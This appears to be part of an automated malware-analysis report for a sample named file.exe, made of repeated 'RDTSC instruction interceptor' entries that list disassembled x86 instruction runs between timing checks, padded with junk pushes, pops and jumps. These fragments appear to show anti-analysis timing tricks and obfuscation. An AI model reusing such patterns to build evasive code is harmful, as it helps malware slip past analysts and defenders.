Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0589 second address: 52B05DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx ebx, cx 0x0000000e pushfd 0x0000000f jmp 00007F100CB9507Ah 0x00000014 and esi, 76787248h 0x0000001a jmp 00007F100CB9507Bh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F100CB95085h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B05DC second address: 52B0602 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 437DEBF2h 0x00000008 jmp 00007F100CBC40C3h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0602 second address: 52B0606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0606 second address: 52B060C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B060C second address: 52B0612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0612 second address: 52B0633 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0633 second address: 52B0637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0637 second address: 52B063D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B063D second address: 52B0643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0643 second address: 52B0647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02F9 second address: 52B02FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B02FD second address: 52B0303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0303 second address: 52B03A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 pushfd 0x00000006 jmp 00007F100CB95084h 0x0000000b xor ah, 00000018h 0x0000000e jmp 00007F100CB9507Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F100CB95086h 0x0000001d push eax 0x0000001e pushad 0x0000001f call 00007F100CB95081h 0x00000024 mov esi, 3556E4A7h 0x00000029 pop eax 0x0000002a pushfd 0x0000002b jmp 00007F100CB9507Dh 0x00000030 jmp 00007F100CB9507Bh 0x00000035 popfd 0x00000036 popad 0x00000037 xchg eax, ebp 0x00000038 jmp 00007F100CB95086h 0x0000003d mov ebp, esp 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F100CB9507Ah 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03A1 second address: 52B03A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B03A5 second address: 52B03AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C00FB second address: 52C0101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0101 second address: 52C0166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F100CB9507Ch 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F100CB9507Bh 0x0000000f jmp 00007F100CB95083h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a push edi 0x0000001b jmp 00007F100CB95082h 0x00000020 pop esi 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F100CB95088h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0166 second address: 52C01A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 05h 0x00000005 mov esi, 31FBF829h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F100CBC40C1h 0x00000018 sub ax, C536h 0x0000001d jmp 00007F100CBC40C1h 0x00000022 popfd 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C01A3 second address: 52C01A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C01A8 second address: 52C01AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C01AE second address: 52C01B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C01B2 second address: 52C01B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300038 second address: 5300048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CB9507Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300048 second address: 530004C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530004C second address: 5300099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F100CB9507Ah 0x00000010 jmp 00007F100CB95085h 0x00000015 popfd 0x00000016 mov dx, ax 0x00000019 popad 0x0000001a mov dword ptr [esp], ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F100CB95089h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D025D second address: 52D0275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CBC40C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0275 second address: 52D02A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB9507Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F100CB95086h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02A4 second address: 52D02A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02A8 second address: 52D02AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02AC second address: 52D02B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02B2 second address: 52D02B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02B8 second address: 52D02BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D02BC second address: 52D0306 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F100CB9507Dh 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 movzx esi, dx 0x00000014 jmp 00007F100CB95089h 0x00000019 popad 0x0000001a mov eax, dword ptr [ebp+08h] 0x0000001d pushad 0x0000001e mov si, di 0x00000021 popad 0x00000022 and dword ptr [eax], 00000000h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a movzx eax, dx 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0DEF second address: 52C0DF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0DF4 second address: 52C0E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F100CB95084h 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0E1B second address: 52C0E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0E1F second address: 52C0E3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D00B4 second address: 52D00C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D00C3 second address: 52D00DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CB95084h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D00DB second address: 52D0117 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov ax, 47A9h 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 jmp 00007F100CBC40BBh 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a call 00007F100CBC40C4h 0x0000001f mov bx, ax 0x00000022 pop esi 0x00000023 push eax 0x00000024 push edx 0x00000025 mov eax, edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F071C second address: 52F0720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0720 second address: 52F0724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0724 second address: 52F072A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F072A second address: 52F07B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F100CBC40C9h 0x00000009 adc ch, FFFFFFD6h 0x0000000c jmp 00007F100CBC40C1h 0x00000011 popfd 0x00000012 mov cx, 4D47h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F100CBC40C8h 0x00000021 xor cl, 00000028h 0x00000024 jmp 00007F100CBC40BBh 0x00000029 popfd 0x0000002a mov bx, ax 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F100CBC40BEh 0x00000038 xor cx, 8D88h 0x0000003d jmp 00007F100CBC40BBh 0x00000042 popfd 0x00000043 mov ah, 21h 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F07B8 second address: 52F07BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F07BE second address: 52F07C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F07C2 second address: 52F0830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F100CB95088h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F100CB9507Dh 0x00000019 xor si, 5606h 0x0000001e jmp 00007F100CB95081h 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F100CB95080h 0x0000002a sbb si, 44A8h 0x0000002f jmp 00007F100CB9507Bh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0830 second address: 52F0885 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 mov cx, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov cx, BE8Fh 0x00000012 movzx eax, bx 0x00000015 popad 0x00000016 mov dword ptr [esp], ecx 0x00000019 pushad 0x0000001a mov ebx, 6B19DF20h 0x0000001f push edx 0x00000020 call 00007F100CBC40C4h 0x00000025 pop ecx 0x00000026 pop edx 0x00000027 popad 0x00000028 mov eax, dword ptr [774365FCh] 0x0000002d pushad 0x0000002e mov edi, esi 0x00000030 movzx esi, di 0x00000033 popad 0x00000034 test eax, eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F100CBC40BEh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0885 second address: 52F08CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB9507Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F107EC58148h 0x0000000f jmp 00007F100CB95086h 0x00000014 mov ecx, eax 0x00000016 jmp 00007F100CB95080h 0x0000001b xor eax, dword ptr [ebp+08h] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 movzx esi, dx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F08CD second address: 52F08D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F08D2 second address: 52F090E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F100CB95080h 0x00000009 sub cl, FFFFFFB8h 0x0000000c jmp 00007F100CB9507Bh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 and ecx, 1Fh 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ecx, 5461C83Dh 0x00000020 jmp 00007F100CB9507Ah 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F090E second address: 52F0950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 7C529BC4h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d ror eax, cl 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F100CBC40BFh 0x00000016 add al, FFFFFFDEh 0x00000019 jmp 00007F100CBC40C9h 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 movzx esi, di 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F0950 second address: 52F09B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB95083h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a leave 0x0000000b pushad 0x0000000c push eax 0x0000000d mov cl, dh 0x0000000f pop eax 0x00000010 pushfd 0x00000011 jmp 00007F100CB9507Dh 0x00000016 sbb cl, 00000076h 0x00000019 jmp 00007F100CB95081h 0x0000001e popfd 0x0000001f popad 0x00000020 retn 0004h 0x00000023 nop 0x00000024 mov esi, eax 0x00000026 lea eax, dword ptr [ebp-08h] 0x00000029 xor esi, dword ptr [00552014h] 0x0000002f push eax 0x00000030 push eax 0x00000031 push eax 0x00000032 lea eax, dword ptr [ebp-10h] 0x00000035 push eax 0x00000036 call 00007F101197594Bh 0x0000003b push FFFFFFFEh 0x0000003d jmp 00007F100CB9507Eh 0x00000042 pop eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 call 00007F100CB9507Ch 0x0000004b pop ecx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0029 second address: 52A00F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F100CBC40C5h 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F100CBC40C7h 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F100CBC40C4h 0x0000001b xor cx, 9F38h 0x00000020 jmp 00007F100CBC40BBh 0x00000025 popfd 0x00000026 pushad 0x00000027 mov si, 1305h 0x0000002b mov ecx, 2C7BDA81h 0x00000030 popad 0x00000031 popad 0x00000032 and esp, FFFFFFF8h 0x00000035 jmp 00007F100CBC40BCh 0x0000003a xchg eax, ecx 0x0000003b jmp 00007F100CBC40C0h 0x00000040 push eax 0x00000041 pushad 0x00000042 mov bx, F974h 0x00000046 pushfd 0x00000047 jmp 00007F100CBC40BDh 0x0000004c sbb ah, 00000036h 0x0000004f jmp 00007F100CBC40C1h 0x00000054 popfd 0x00000055 popad 0x00000056 xchg eax, ecx 0x00000057 jmp 00007F100CBC40BEh 0x0000005c xchg eax, ebx 0x0000005d pushad 0x0000005e mov ecx, 31BB91EDh 0x00000063 pushad 0x00000064 pushad 0x00000065 popad 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A00F7 second address: 52A0104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0104 second address: 52A0112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0112 second address: 52A0118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0118 second address: 52A011C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A011C second address: 52A01A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB9507Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F100CB9507Ah 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 mov eax, 7AF657D7h 0x0000001b popad 0x0000001c mov ebx, dword ptr [ebp+10h] 0x0000001f jmp 00007F100CB9507Ah 0x00000024 xchg eax, esi 0x00000025 jmp 00007F100CB95080h 0x0000002a push eax 0x0000002b jmp 00007F100CB9507Bh 0x00000030 xchg eax, esi 0x00000031 jmp 00007F100CB95086h 0x00000036 mov esi, dword ptr [ebp+08h] 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F100CB95087h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A01A2 second address: 52A01A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A01A8 second address: 52A01B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A01B7 second address: 52A01D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CBC40C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A01D0 second address: 52A01E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F100CB9507Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A01E0 second address: 52A0208 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F100CBC40C9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0208 second address: 52A020C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A020C second address: 52A0212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0212 second address: 52A0240 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F100CB9507Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F100CB95080h 0x00000010 je 00007F107ECA3457h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0240 second address: 52A0246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0246 second address: 52A024C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A024C second address: 52A028D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edi 0x00000013 pop esi 0x00000014 pushfd 0x00000015 jmp 00007F100CBC40BBh 0x0000001a add ecx, 6CAAB57Eh 0x00000020 jmp 00007F100CBC40C9h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A028D second address: 52A0293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0293 second address: 52A0297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529079E second address: 52907A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52907A5 second address: 529080C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F100CBC40C2h 0x00000008 pushfd 0x00000009 jmp 00007F100CBC40C2h 0x0000000e sub eax, 1B685338h 0x00000014 jmp 00007F100CBC40BBh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F100CBC40C6h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 call 00007F100CBC40BCh 0x0000002c pop eax 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529080C second address: 5290811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
